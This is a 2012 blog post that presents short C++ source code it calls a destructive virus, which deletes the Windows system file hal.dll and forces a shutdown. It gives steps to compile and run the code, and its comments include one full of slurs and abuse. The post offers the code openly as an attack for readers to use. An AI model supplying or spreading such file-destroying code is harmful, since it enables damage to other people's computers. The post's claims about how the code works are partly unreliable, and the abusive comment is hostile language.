Tuesday 28 August 2012

how to create a simple virus using c++


How to create a simple virus using c++




In this blog Iam going to show you how to create a simple virus using c++ language.It's simple but destructive...let's do it.
virus is something which illegally controlls the user pc without his/her permission.viruses like Trojan horse,back doors,computer viruses are dangerous..virus which is explained in this blog is dangerous so don't try it on your system and use it at your own risk..This virus will delete the hal.dll(this  file helps the system in startup)in your system32 folder.After performing such task your will no longer will be able to start your system.....

Here is the source code:
-------------------------------------------------------------------
#include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
   std::remove("C:\\windows\\system32\\hal.dll");
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}
-------------------------------------------------------------------

NOTE: The source code of virus is not fake...it's real and destructive.

After typing the above source code in  notepad .save the file as bee.cpp.
 After saving...
compile the source file ...(to compile c++ source file see How to compile c++ programs ?)
You will get a .exe file
On opening the .exe file your system will restart and crash..

3 comments:

Anonymous said...

can you post more code ?
tank you.

Anonymous said...

You are fucking retarded, learn to code c++ and btw, the code here is all the code there is to it, fucking use a brain you dick sucking cunt

Anonymous said...

bro chill, what happened, who hurt you, did your dad leave or something?